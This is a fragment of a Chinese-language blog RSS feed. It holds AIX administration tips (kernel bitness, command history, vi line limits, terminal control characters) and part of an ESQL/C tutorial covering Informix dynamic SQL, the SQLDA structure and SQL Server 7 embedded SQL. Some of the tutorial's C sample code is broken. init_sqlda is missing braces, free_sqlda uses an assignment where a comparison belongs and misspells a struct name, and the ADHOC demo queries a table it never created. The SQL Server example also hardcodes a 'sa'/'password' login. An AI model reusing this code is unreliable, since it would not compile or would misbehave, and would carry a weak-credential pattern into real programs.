-r<BR>#svmon -G <BR><BR><BR>　 size&nbsp;&nbsp;inuse&nbsp;&nbsp;free pin virtual <BR>memory&nbsp;&nbsp;131061&nbsp;&nbsp;26245&nbsp;&nbsp;104816 9417&nbsp;&nbsp;31604 <BR>pg space&nbsp;&nbsp;264192&nbsp;&nbsp;17306 　 　 　 <BR><BR>free的内存已经恢复如初。<BR><BR>　<BR><BR>　<BR><BR><BR>关于AIX 4.3.3的内核问题。<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;1.我目前的操作系统运行在多少位的内核上？<BR>2.我目前的机器能支持64bit应用吗？ <BR>解答 bootinfo -K<BR>32 操作系统运行在32位内核<BR>64 操作系统运行在64位内核<BR><BR>bootinfo -y<BR>64 你的机器可以支持64位和32位应用<BR>32 你的机器只支持32位应用 <BR>备注：<BR><BR>当bootinfo -K为32，bootinfo -y为64时，可以通过smit激活对64位应用的支持<BR>SMIT<BR>System Environments <BR>Change / Show Characteristics of Operating System <BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何在AIX上实现象doskey一样的功能<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;客户需要实现类似doskey一样的功能 <BR>解答 在AIX操作系统中可以利用 set -o vi来实现类似功能。<BR>当用户想重复上一个很长的命令时，只需按ESC+k就行，再按k就上滚一条命令，<BR>而按j就可以后滚一条命令，然后回车就可以完成了。更好的是，你可以利用类似<BR>使用vi的方法来编辑你所看到的命令，来达到随意调整的目的。<BR>只一条简单的命令，就节约了宝贵的时间。需要时可以把set -o vi加入到.profile中。<BR><BR>　<BR><BR>　<BR><BR><BR>另一种让vi编辑超大文本文件的方法<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;vi缺省能编辑的最大文件不能超过1,048,560行 <BR>解答 在用户目录下生成文件.exrc其中写入<BR>set linelimit=xx000000 <BR>这样，就不用每回启动vi时都敲入vi -y xx000000<BR><BR>　<BR><BR>　<BR><BR><BR>如何修改终端的属性以适应特殊需要<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;客户有一个自己开发的应用，其中需要对ctrl+y的响应，来完成特定功能。<BR>但当客户实现时，却发现一按ctrl+y程序就退出了。 <BR>解答 客户使用的是telnet终端，其中需要对pty的属性进行修改。<BR>#smit pty<BR>Change / Show Characteristics of the PTY<BR>STATE to be configured at boot time ---------------available -----+ <BR>Maximum number of Pseudo-Terminals ---------[256]---------------- # <BR>Maximum number of BSD Pseudo-Terminals -----[16]<BR>其中并没有象tty一样的许多选项：<BR>#smit tty<BR>POSIX special control characters:<BR><BR>INTERRUPT character ------------------------[^c]<BR>QUIT character -----------------------------[^\]<BR>ERASE character ----------------------------[^h]<BR>KILL character -----------------------------[^u]<BR>END OF FILE character ----------------------[^d]<BR>END OF LINE character ----------------------[^@]<BR>2nd END OF LINE character ------------------[^?]<BR>DELAY SUSPEND PROCESS character ------------[^y]<BR>SUSPEND PROCESS character ------------------[^z]<BR>LITERAL NEXT character ---------------------[^v]<BR>START character ----------------------------[^q]<BR><BR><BR>解决办法：<BR>将suspend process character ^y变成其他不需要的特殊按键<BR>如： <BR>#stty dsusp ^@<BR>#stty -a<BR>speed 9600 baud; 24 rows; 80 columns;<BR>eucw 1:1:0:0, scrw 1:1:0:0:<BR>intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = ^@<BR>eol2 = ^@; start = ^Q; stop = ^S; susp = ^Z; dsusp = ^@; reprint = ^R<BR>discard = ^O; werase = ^W; lnext = ^V<BR>-parenb -parodd cs8 -cstopb hupcl cread -clocal -parext<BR>-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -iuclc<BR>-ixon -ixany -ixoff imaxbel<BR>isig icanon -xcase echo echoe echok -echonl -noflsh<BR>-tostop echoctl -echoprt echoke -flusho -pending iexten<BR>opost -olcuc onlcr -ocrnl -onocr -onlret -ofill -ofdel tab3<BR><BR><BR>这样当客户的应用再按ctrl+y时，程序就不会异常退出了。<BR><BR>　<BR><BR>　<BR><BR><BR>如何利用grep的一些高级选项更好地管理系统<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;如何利用grep的一些高级选项更好地管理系统 <BR>解答 较下面两个命令的输出，我们不难发现grep -p的优秀功能。<BR>它不止把我们要找的关键字的当前]]></description>
</item><item>
<title><![CDATA[ESQL/C资料(完全版)四]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7287</link>
<author>xueflhg</author>
<pubDate>2005/7/18 10:34:55</pubDate>
<description><![CDATA[5.3 嵌入SQL的处理过程<BR>INFORMIX的预编译器为esql。嵌入SQL包含一些组件：嵌入SQL的库文件，提供访问数据库服务器、操作各种数据类型、出错信息的处理等函数。嵌入SQL的头文件（UNIX环境：$INFORMIXDIR/incl/esql下，WINDOWS环境：%INFORMIXDIR%\incl\esql下），提供程序用的数据结构、常数和宏的定义信息。Esql是预编译器。UNIX系统下，是finderr程序获得INFORMIX的错误信息，WINDOWS平台下是find error获得错误信息。还有一些GLS locale文件，提供一些特定的locale信息。在WINDOWS平台下，还有另外一些文件，如：setnet32、ilogin、regcopy、esqlmf程序。<BR>创建嵌入SQL/C的程序的一般步骤：程序的后缀可以是.ec或.ecp。<BR>1、定义宿主变量。<BR>2、访问数据库。<BR>3、操作。<BR>4、完成后，使用esql命令来预编译。如：esql demo1.ec。在预编译后，程序中只有C语言语句，它们都可以为C语言的编译器所识别。所以，可以按照一般的方法进行编译和连接，但在将SQL语句转换以后，在C语言程序中，又引入了许多一般的C语言系统所没有的结构、变量和函数，因此应该设置INCLUDE和LIB的设置。最后生成的可执行文件。<BR>5.4 动态SQL语言<BR>所谓静态SQL的编程方法，就是指在预编译时SQL语句已经基本确定，即访问的表或视图名、访问的列等信息已经确定。但是，有时整个SQL语句要到执行的时候才能确定下来，而且SQL语句所访问的对象也要到执行时才能确定。这就需要通过动态SQL语句完成。动态SQL语句的处理步骤是：<BR>1、组合SQL语句。<BR>2、PREPARE。PREPARE语句是动态SQL语句独有的语句。其语法为：<BR>PREPARE 语句名 FROM 宿主变量|字符串<BR>该语句接收含有SQL语句串的宿主变量，并把该语句送到DBMS。DBMS编译语句并生成执行计划。在语句串中包含一个“？”表明参数，当执行语句时，DBMS需要参数来替代这些“？”。PREPRARE执行的结果是，DBMS用语句名标志编译后的语句。在执行SQL语句时，EXECUTE语句后面是这个语句名。请看下面这个例子：<BR>EXEC SQL prepare slct_id from <BR>'select company from customer where customer_num = ?';<BR>可以通过SQLCA检查PREPARE操作是否成功。<BR>3、EXECUTE或OPEN。<BR>EXECUTE语句的语法如下：<BR>EXECUTE 语句名 USING 宿主变量 | DESCRIPTOR 描述符名<BR>它的作用是，请求DBMS执行PREPARE语句准备好的语句。当要执行的动态语句中包含一个或多个参数标志时，在EXECUTE语句必须为每一个参数提供值。这样的话，EXECUTE语句用宿主变量值逐一代替准备语句中的参数标志（“？”），从而，为动态执行语句提供了输入值。<BR>如果是多行查询，则使用游标，使用OPEN USING语句传递参数；如果是单行查询，则使用SELECT INTO。如果是修改数据：则使用EXECUTE USING语句。如果知道参数个数，就可以使用宿主变量。如果不知道参数个数，则必须使用DESCRIBE语句。下表总结了动态SQL语句的处理方法：<BR>语句类型是否有输入参数执行的方法<BR>INSERT、DELETE、UPDATE没有EXECUTE<BR>INSERT、DELETE、UPDATE有（数据类型和个数确定）EXECUTE …USING<BR>INSERT、DELETE、UPDATE有（数据类型和个数不确定）EXECUTE...USINGSQL DESCRIPTOR或EXECUTE...USINGDESCRIPTOR<BR>SELECT（返回多行）无OPEN<BR>SELECT（返回多行）有（数据类型和个数确定）OPEN…USING<BR>SELECT（返回多行）有（数据类型和个数不确定）OPEN...USINGSQL DESCRIPTOR或OPEN...USINGDESCRIPTOR<BR>SELECT（返回一行）无EXECUTE...INTO<BR>SELECT（返回一行，但是返回的数据类型和个数不确定）无EXECUTE...INTODESCRIPTOR或EXECUTE...INTOSQL DESCRIPTOR<BR>SELECT（返回一行）有EXECUTE...INTO...USING<BR>SELECT（返回一行，但是返回的数据类型和个数不确定）有EXECUTE...INTO...USING SQLDESCRIPTOR或EXECUTE...INTO...USINGDESCRIPTOR 
<P>4、释放资源。<BR>5.4.1 SQLDA<BR>可以通过SQLDA为嵌入SQL语句提供输入数据和从嵌入SQ语句中输出数据。理解SQLDA的结构是理解动态SQL的关键。<BR>我们知道，动态SQL语句在编译时可能不知道有多少列信息。在嵌入SQL语句中，这些不确定的数据是通过SQLDA完成的。SQLDA的结构非常灵活，在该结构的固定部分，指明了多少列等信息（如下图中的sqld=2，表示为两列信息），在该结构的后面，有一个可变长的结构（SQLVAR结构），说明每列的信息。<BR>
<P>SQLDA结构<BR>Sqld=2<BR>sqlvar<BR>Desc_name<BR>Desc_occ<BR>Desc_next 
<P><BR><BR>Sqltype=500<BR>Sqllen<BR>sqldata<BR>…..<BR><BR>Sqltype=501<BR>Sqllen<BR>Sqldata<BR>….. 
<P>图6-6 SQLDA结构示例<BR>具体SQLDA的结构在sqlda.h中定义，是：<BR>struct sqlvar_struct<BR>{<BR>short sqltype;/* variable type*/<BR>short sqllen;/* length in bytes*/<BR>char *sqldata;/* pointer to data*/<BR>short *sqlind;/* pointer to indicator*/<BR>char *sqlname;/* variable name*/<BR>char *sqlformat;/* reserved for future use */<BR>short sqlitype;/* ind variable type*/<BR>short sqlilen;/* ind length in bytes*/<BR>char *sqlidata;/* ind data pointer*/<BR>}; 
<P>struct sqlda<BR>{<BR>short sqld;<BR>struct sqlvar_struct *sqlvar;<BR>char desc_name[19];/* descriptor name */<BR>short desc_occ;/* size of sqlda structure */<BR>struct sqlda *desc_next;/* pointer to next sqlda struct */<BR>}; 
<P>#endif /* _SQLDA */<BR>从上面这个定义看出，SQLDA是一种由三个不同部分组成的可变长数据结构。位于SQLDA开端的sqldaid用于标志该SQLDA描述了多少列的信息；而后是一个或多个sqlvar结构 ，用于标志列数据。当用SQLDA把参数送到执行语句时，每一个参数都是一个sqlvar结构；当用SQLDA返回输出列信息时，每一列都是一个sqlvar结构。第三部分是SQLDA结构的描述信息部分。具体每个元素的含义为：<BR>lSqld。目前使用的sqlvar结构的个数。即输出列的个数。<BR>lSqlvar。指向sqlvar_struct结构。 即指向描述第一列信息的sqlvar结构。<BR>lDesc_name。Sqlda的名称。<BR>lDesc_occ。Sqlda结构的大小。<BR>lDesc_next。指向下一个SQLDA结构。<BR>lSqltype。代表参数或列的数据类型。它是一个整数数据类型代码。具体每个整数的含义见第二节。<BR>l Sqllen。代表传送数据的长度。如：2，即代表二字节整数。如果是字符串，则该数据为字符串中的字符数量。<BR>lSqldata。指向数据的地址。注意，仅仅是一个地址。<BR>lSqlind。代表是否为NULL。如果该列不允许为NULL，则该字段不赋值；如果该列允许为NULL，则：该字段若为0，表示数据值不为NULL，若为-1，表示数据值为NULL。<BR>lSqlname。代表列名或变量名。它是一个结构。包含length和data。Length是名字的长度；data是名字。<BR>lSqlformat。保留为以后使用。<BR>lSqlitype。指定用户定义的指示符变量的数据类型。<BR>lSqlilen。指定用户定义的指示符变量的长度。<BR>lSqlidata。指向用户定义的指示符变量所存放的数据。 
<P>下面这个ADHOC程序非常经典，演示了SQLDA的作用。模拟一个不确定的查询，然后通过SQLDA来获得数据，并打印出来。<BR>EXEC SQL include locator.h;<BR>EXEC SQL include sqltypes.h;<BR>#define BLOBSIZE 32276;<BR>main()<BR>{<BR>int i = 0;<BR>int row_count;<BR>/**** Step 1: 声明一个SQLDA结构，来存放查询的数据 ********/<BR>struct sqlda *da_ptr;<BR>/*连接到数据库服务器*/<BR>EXEC SQL connect to 'stores7';<BR>if ( SQLCODE &lt; 0 )<BR>{ printf("CONNECT failed: %d\n", SQLCODE)<BR>exit(0);<BR>}<BR>/* 创建一个临时表，模拟一个不确定列和表的环境*/<BR>EXEC SQL create table blob_tab (int_col integer, blob_col byte);<BR>/* load_db函数是往blob_tab表插入数据，读者不用关心它的代码*/<BR>load_db();<BR>/* PREPARE查询语句 */<BR>EXEC SQL prepare selct_id 'select * from tab1';<BR>/* Step 2: 使用describe函数完成两个功能：一是为sqlda分配空间， 二是获取语句信息，并存放在SQLDA结构中。*/<BR>EXEC SQL describe selct_id into da_ptr;<BR>/* Step 3: 初试化sqlda结构，如：为列分配空间，改变数据类型等。*/<BR>row_size = init_sqlda(da_ptr, 0);<BR>/* 为PREPARE的SELECT语句声明和打开游标*/<BR>EXEC SQL declare curs for selct_id;<BR>EXEC SQL open curs;<BR>while (1)<BR>{<BR>/* Step 4: 执行fetch操作，将一行数据存放在sqlda结构中*/<BR>EXEC SQL fetch curs using descriptor da_ptr;<BR>/* 是否到达最后一行？，若是，则退出。 */<BR>if ( SQLCODE == SQLNOTFOUND )<BR>break;<BR>/* Step 5: 从SQLDA中打印数据，使用sqlca.sqlerrd[2]来获得查询的行数*/<BR>printf("\n===============\n");<BR>printf("FETCH %d\n", i++);<BR>printf("===============");<BR>print_sqlda(da_ptr, ((FetArrSize == 0) ? 1 : sqlca.sqlerrd[2]));<BR>/* Step 6: 循环执行FETCH，直到处理完所有的行(SQLCODE为SQLNOTFOUND)*/<BR>}<BR>/* Step 7: 释放申请的内存空间，如游标、SQLDA、创建的临时表等*/<BR>EXEC SQL free selct_id;<BR>EXEC SQL close curs;<BR>EXEC SQL free curs;<BR>free_sqlda(da_ptr);<BR>cleanup_db();<BR>}<BR>/************************************************************************<BR>* 函数: init_sqlda()<BR>* 作用: 为SQLDA申请空间<BR>* 返回值: 0 正确，否则有错误<BR>************************************************************************/<BR>int init_sqlda(in_da, print)<BR>struct sqlda *in_da;<BR>int print;<BR>{<BR>int i, j, row_size=0, msglen=0, num_to_alloc;<BR>struct sqlvar_struct *col_ptr;<BR>loc_t *temp_loc;<BR>char *type;<BR>if (print)<BR>printf("columns: %d. ", in_da-&gt;sqld);<BR>/* Step 1: 获得一行数据的长度 */<BR>for (i = 0, col_ptr = in_da-&gt;sqlvar; i &lt; in_da-&gt;sqld; i++, col_ptr++)<BR>/* msglen变量存放查询数据的所有列的长度和。*/<BR>msglen += col_ptr-&gt;sqllen; /* get database sizes */<BR>/* 为col_ptr-&gt;sqllen 重新赋值，该值是在C下的大小。如：在数据库中的字符串，在C中应该多一个字节空间来存放NULL的结束符。*/<BR>col_ptr-&gt;sqllen = rtypmsize(col_ptr-&gt;sqltype, col_ptr-&gt;sqllen);<BR>/*row_size变量存放了在C程序中的所有列的长度和。这个值是应用程序为存放一行数据所需要申请的内存空间*/<BR>row_size += col_ptr-&gt;sqllen;<BR>}<BR>if (print) printf("Total row size = %d\n", row_size);<BR>/* Step 2: 设置FetArrSize值*/<BR>if (FetArrSize == -1) /* if FetArrSize not yet initialized */<BR>{<BR>if (FetBufSize == 0) /* if FetBufSize not set */<BR>FetBufSize = 4096; /* default FetBufSize */<BR>FetArrSize = FetBufSize/msglen;<BR>}<BR>num_to_alloc = (FetArrSize == 0)? 1: FetArrSize;<BR>/* 设置sqlvar_struct结构中的数据类型为相应的C的数据类型*/<BR>for (i = 0, col_ptr = in_da-&gt;sqlvar; i &lt; in_da-&gt;sqld; i++, col_ptr++)<BR>{<BR>switch(col_ptr-&gt;sqltype)<BR>{<BR>case SQLCHAR:<BR>type = "char ";<BR>col_ptr-&gt;sqltype = CCHARTYPE;<BR>break;<BR>case SQLINT:<BR>type = "int ";<BR>col_ptr-&gt;sqltype = CINTTYPE;<BR>break;<BR>case SQLBYTES:<BR>case SQLTEXT:<BR>if (col_ptr-&gt;sqltype == SQLBYTES)<BR>type = "blob ";<BR>else<BR>type = "text ";<BR>col_ptr-&gt;sqltype = CLOCATORTYPE;<BR>/* Step 3 ：只有数据类型为TEXT 和BLOB时，才执行。为存放TEXT 或BYTE列数据申请空间*/<BR>temp_loc = (loc_t *)malloc(col_ptr-&gt;sqllen * num_to_alloc);<BR>if (!temp_loc)<BR>{<BR>fprintf(stderr, "blob sqldata malloc failed\n");<BR>return(-1);<BR>}<BR>col_ptr-&gt;sqldata = (char *)temp_loc;<BR>/* Step 4：只有数据类型为TEXT 和BLOB时，才执行。初试化loc_t结构*/<BR>byfill(temp_loc, col_ptr-&gt;sqllen*num_to_alloc ,0);<BR>for (j = 0; j&lt; num_to_alloc; j++, temp_loc++)<BR>{<BR>temp_loc-&gt;loc_loctype = LOCMEMORY;<BR>temp_loc-&gt;loc_bufsize = BLOBSIZE;<BR>temp_loc-&gt;loc_buffer = (char *)malloc(BLOBSIZE);<BR>if (!temp_loc-&gt;loc_buffer)<BR>{<BR>fprintf(stderr, "loc_buffer malloc failed\n");<BR>return(-1);<BR>}<BR>temp_loc-&gt;loc_oflags = 0; /* clear flag */<BR>} /* end for */<BR>break;<BR>default: /* 其他数据类型*/<BR>fprintf(stderr, "not yet handled(%d)!\n", col_ptr-&gt;sqltype);<BR>return(-1);<BR>} /* switch */<BR>/* Step 5: 为指示符变量申请空间*/<BR>col_ptr-&gt;sqlind =<BR>(short *) malloc(sizeof(short) * num_to_alloc);<BR>if (!col_ptr-&gt;sqlind)<BR>{<BR>printf("indicator malloc failed\n");<BR>return -1;<BR>/* Step 6 ：为存放非TEXT 和BLOB的数据类型的sqldata申请空间.注意的是，申请的地址是(char *)，在输出数据时，要按照相应的数据类型做转换。*/<BR>if (col_ptr-&gt;sqltype != CLOCATORTYPE)<BR>{<BR>col_ptr-&gt;sqldata = (char *) malloc(col_ptr-&gt;sqllen * num_to_alloc);<BR>if (!col_ptr-&gt;sqldata)<BR>{<BR>printf("sqldata malloc failed\n");<BR>return -1;<BR>}<BR>if (print)<BR>printf("column %3d, type = %s(%3d), len=%d\n", i+1, type,<BR>col_ptr-&gt;sqltype, col_ptr-&gt;sqllen);<BR>} /* end for */<BR>return msglen;<BR>}<BR>/************************************************************************<BR>* 函数: print_sqlda<BR>* 作用: 打印存放在SQLDA结构中的数据。<BR>************************************************************************/<BR>void print_sqlda(sqlda, count)<BR>struct sqlda *sqlda;<BR>int count;<BR>{<BR>void *data;<BR>int i, j;<BR>loc_t *temp_loc;<BR>struct sqlvar_struct *col_ptr;<BR>char *type;<BR>char buffer[512];<BR>int ind;<BR>char i1, i2;<BR>/* 打印列数 (sqld) 和行数*/<BR>printf("\nsqld: %d, fetch-array elements: %d.\n", sqlda-&gt;sqld, count);<BR>/* 外循环：针对每一行数据循环处理 */<BR>for (j = 0; j &lt; count; j ++)<BR>{<BR>if (count &gt; 1)<BR>{<BR>printf("record[%4d]:\n", j);<BR>printf("col | type | id | len | ind | rin | data ");<BR>printf("| value\n");<BR>printf("--------------------------------------------");<BR>printf("------------------\n");<BR>}<BR>/* 内循环: 针对每一列数据处理*/<BR>for (i = 0, col_ptr = sqlda-&gt;sqlvar; i &lt; sqlda-&gt;sqld;<BR>i++, col_ptr++)<BR>{<BR>data = col_ptr-&gt;sqldata + (j*col_ptr-&gt;sqllen);<BR>switch (col_ptr-&gt;sqltype)<BR>{<BR>case CFIXCHARTYPE:<BR>case CCHARTYPE:<BR>type = "char";<BR>if (col_ptr-&gt;sqllen &gt; 40)<BR>sprintf(buffer, " %39.39s&lt;..", data);<BR>else<BR>sprintf(buffer, "%*.*s", col_ptr-&gt;sqllen,<BR>col_ptr-&gt;sqllen, data);<BR>break;<BR>case CINTTYPE:<BR>type = "int";<BR>sprintf(buffer, " %d", *(int *) data);<BR>break;<BR>case CLOCATORTYPE:<BR>type = "byte";<BR>temp_loc = (loc_t *)(col_ptr-&gt;sqldata +<BR>(j * sizeof(loc_t)));<BR>sprintf(buffer, " buf ptr: %p, buf sz: %d,<BR>blob sz: %d", temp_loc-&gt;loc_buffer,<BR>temp_loc-&gt;loc_bufsize, temp_loc-&gt;loc_size);<BR>break;<BR>default:<BR>type = "??????";<BR>sprintf(buffer, " type not implemented: ",<BR>"can't print %d", col_ptr-&gt;sqltype);<BR>break;<BR>} /* end switch */<BR>i1 = (col_ptr-&gt;sqlind==NULL) ? 'X' :<BR>(((col_ptr-&gt;sqlind)[j] != 0) ? 'T' : 'F');<BR>i2 = (risnull(col_ptr-&gt;sqltype, data)) ? 'T' : 'F';<BR>printf("%3d | %-6.6s | %3d | %3d | %c | %c | ",<BR>i, type, col_ptr-&gt;sqltype, col_ptr-&gt;sqllen, i1, i2);<BR>printf("%8p |%s\n", data, buffer);<BR>} /* end for (i=0...) */<BR>} /* end for (j=0...) */<BR>}<BR>/************************************************************************<BR>* 函数: free_sqlda<BR>* 作用: 释放以下对象申请的内存空间<BR>* o loc_buffer memory (used by TEXT &amp; BYTE)<BR>* o sqldata memory<BR>* o sqlda structure<BR>************************************************************************/<BR>void free_sqlda(sqlda)<BR>struct sqlda *sqlda;<BR>{<BR>int i,j, num_to_dealloc;<BR>struct sqlvar_struc *col_ptr;<BR>loc_t *temp_loc;<BR>for (i = 0, col_ptr = sqlda-&gt;sqlvar; i &lt; sqlda-&gt;sqld;<BR>i++, col_ptr++)<BR>{<BR>if ( col_ptr-&gt;sqltype = CLOCATORTYPE )<BR>{<BR>/* Free memory for blob buffer of each element in fetch array */<BR>num_to_dealloc = (FetArrSize == 0)? 1: FetArrSize;<BR>temp_loc = (loc_t *) col_ptr-&gt;sqldata;<BR>for (j = 0; j&lt; num_to_dealloc; j++, temp_loc++)<BR>free(temp_loc-&gt;loc_buffer);<BR>}<BR>/* Free memory for sqldata (contains fetch array) */<BR>free(col_ptr-&gt;sqldata);<BR>}<BR>/* Free memory for sqlda structure */<BR>free(sqlda);<BR>}<BR>第六节Microsoft SQL Server7嵌入式SQL语言<BR>6.1 一个嵌入SQL语言的简单例子<BR>我们首先来看一个简单的嵌入式SQL语言的程序（C语言）：在YANGZH服务器的pubs数据库上查询lastname为“White”的firstname。用sa（口令为password）连接数据库服务器。这个例子程序如下：<BR>例1、查询lastname为“White”的firstname的信息。<BR>main()<BR>{<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char first_name[50];<BR>char last_name[] = "White";<BR>EXEC SQL END DECLARE SECTION;<BR><BR>EXEC SQL CONNECT TO YANGZH.pubs<BR>USER sa.password;<BR>EXEC SQL SELECT au_fname INTO :first_name<BR>from authors where au_lname = :last_name;<BR>printf("first name: %s\n",first_name);<BR>return (0);<BR>} 
<P>从上面这个例子，我们看出嵌入SQL的基本特点是：<BR>1、每条嵌入式SQL语句都用EXEC SQL开始，表明它是一条SQL语句。这也是告诉预编译器在EXEC SQL和“；”之间是嵌入SQL语句。<BR>2、如果一条嵌入式SQL语句占用多行，在C程序中可以用续行符“\”，在Fortran中必须有续行符。其他语言也有相应规定。<BR>3、每一条嵌入SQL语句都有结束符号，如：在C中是“；”。 
<P>如果你需要在NT平台编写C的嵌入SQL语句，那么你必须保证设置了以下环境：<BR>lWindows NT Workstation 3.51或以上；或者Windows NT Server 3.51或以上<BR>lVC++版本2.0或以上；或者其他100%兼容的编译器和连接器。<BR>lSQL Server6.0或以上<BR>如果你需要在Windows95/98平台编写C的嵌入SQL语句，那么你必须保证设置了以下环境：<BR>lWindows 95/98<BR>lVC++版本2.0或以上；或者其他100%兼容的编译器和连接器。<BR>lSQL Server6.0或以上<BR>6.2 嵌入SQL的处理过程<BR>下面我们来说明整个嵌入SQL的处理过程。以下是生成可执行文件的步骤：<BR>1、在命令提示符下执行 …\VC98\bin\vcvar32.bat，作用是设置C的环境信息。<BR>2、在命令提示符下执行：nmake –f demo.mk 。执行后，生成demo.exe。<BR>其中，demo.mk为（在NT平台）：<BR>demo.exe:demo.sqc<BR>set include=e:\mssql7\devtools\include;%include%;<BR>nsqlprep demo.sqc<BR>cl -o demo.exe e:\mssql7\devtools\lib\sqlakw32.lib \<BR>e:\mssql7\devtools\lib\caw32.lib demo.c<BR>其中，<BR>l“set include=e:\mssql7\devtools\include;%include%;”的作用是，说明整个头文件的路径信息。即包含sqlca.h和sqlda.h路径信息。在嵌入SQL程序中，无需使用“#include &lt;sqlca.h&gt;”和“#include &lt;sqlda.h&gt;”语句，这是因为nsqlprep.exe预编译器会自动将这些语句插入预编译后的C程序中。<BR>l“nsqlprep demo.sqc”是SQL Server7的预编译处理。Nsqlprep.exe是SQL Server7的预编译器。处理的结果产生C的程序，如demo.c。demo.c的程序为：<BR>例2、demo.c程序<BR>/* ===== demo.c =====*/ 
<P><BR>/* ===== NT doesn't need the following... */<BR>#ifndef WIN32<BR>#define WIN32<BR>#endif<BR>#define _loadds<BR>#define _SQLPREP_<BR>#include &lt;sqlca.h&gt;<BR>#include &lt;sqlda.h&gt;<BR>#include &lt;string.h&gt;<BR>#define SQLLENMAX(x) ( ((x) &gt; 32767) ? 32767 : (x) )<BR>short ESQLAPI _loadds sqlaaloc(<BR>unsigned short usSqlDaId,<BR>unsigned short sqld,<BR>unsigned short stmt_id,<BR>void far *spare); 
<P>short ESQLAPI _loadds sqlxcall(<BR>unsigned short usCallType,<BR>unsigned short usSection,<BR>unsigned short usSqldaInId,<BR>unsigned short usSqlDaOutId,<BR>unsigned short usSqlTextLen,<BR>char far *lpszSQLText); 
<P>short ESQLAPI _loadds sqlacall(<BR>unsigned short usCallType,<BR>unsigned short usSection,<BR>unsigned short usSqldaInId,<BR>unsigned short usSqlDaOutId,<BR>void far *spare); 
<P>short ESQLAPI _loadds sqladloc(<BR>unsigned short usSqldaInId,<BR>void far *spare); 
<P>short ESQLAPI _loadds sqlasets(<BR>unsigned short cbSqlText,<BR>void far *lpvSqlText,<BR>void far *spare); 
<P>short ESQLAPI _loadds sqlasetv(<BR>unsigned short usSqldaInId,<BR>unsigned short sqlvar_index,<BR>unsigned short sqltype,<BR>unsigned short sqllen,<BR>void far *sqldata,<BR>void far *sqlind,<BR>void far *spare); 
<P>short ESQLAPI _loadds sqlastop(<BR>void far *spare); 
<P>short ESQLAPI _loadds sqlastrt(<BR>void far *pid,<BR>void far *spare,<BR>void far *sqlca); 
<P>short ESQLAPI _loadds sqlausda(<BR>unsigned short sqldaId,<BR>void far *lpvSqlDa,<BR>void far *spare); 
<P>extern struct tag_sqlca far sql_sqlca;<BR>extern struct tag_sqlca far *sqlca;<BR>struct sqla_program_id2 { <BR>unsigned short length; <BR>unsigned short rp_rel_num; <BR>unsigned short db_rel_num; <BR>unsigned short bf_rel_num; <BR>unsigned char sqluser[30]; <BR>unsigned char sqlusername[30];<BR>unsigned char planname[256]; <BR>unsigned char contoken[8]; <BR>unsigned char buffer[8]; <BR>}; <BR>static struct sqla_program_id2 program_id = <BR>{340,2,0,0," ","","demo","VVVLKcBo"," "};<BR>static void far* pid = &amp;program_id;<BR>#line 1 "demo.sqc" 
<P>main() 
<P>{<BR><BR>#line 5<BR>/*<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>*/<BR>#line 5 
<P>char first_name[50];<BR>char last_name[] = "White";<BR><BR>#line 8<BR>/*<BR>EXEC SQL END DECLARE SECTION;<BR>*/<BR>#line 8 
<P><BR><BR>#line 10<BR>/*<BR>EXEC SQL CONNECT TO YANGZH.pubs<BR>USER sa.password;<BR>*/<BR>#line 11 
<P>#line 10<BR>{<BR>#line 10<BR>sqlastrt((void far *)pid, (void far *)0, (struct tag_sqlca far *)sqlca);<BR>#line 10<BR>sqlxcall(30, 1, 0, 0, 42, (char far *)" CONNECT TO YANGZH.pubs USER sa.password ");<BR>#line 10<BR>SQLCODE = sqlca-&gt;sqlcode;<BR>#line 10<BR>sqlastop((void far *)0L);<BR>#line 10<BR>}<BR>#line 12<BR><BR>#line 12<BR>/*<BR>EXEC SQL SELECT au_fname INTO :first_name<BR>from authors where au_lname = :last_name;<BR>*/<BR>#line 13 
<P>#line 12<BR>{<BR>#line 12<BR>sqlastrt((void far *)pid, (void far *)0, (struct tag_sqlca far *)sqlca);<BR>#line 12<BR>sqlaaloc(1, 1, 2, (void far *)0);<BR>#line 12<BR>sqlasetv(1, 0, 462,(short) SQLLENMAX(sizeof(first_name)),(void far *)&amp;first_name, (void far *)0,0L);<BR>#line 12<BR>sqlaaloc(2, 1, 2, (void far *)0);<BR>#line 12<BR>sqlasetv(2, 0, 462, (short) SQLLENMAX(sizeof(last_name)), (void far *)last_name, (void far *)0, (void far *)0L);<BR>#line 12<BR>sqlxcall(24, 2, 2, 1, 60, (char far *)" SELECT au_fname from authors where au_lname = @p1 ");<BR>#line 12<BR>SQLCODE = sqlca-&gt;sqlcode;<BR>#line 12<BR>sqlastop((void far *)0L);<BR>#line 12<BR>}<BR>#line 14<BR>printf("first name: %s\n",first_name);<BR>return (0);<BR>}<BR>long SQLCODE; 
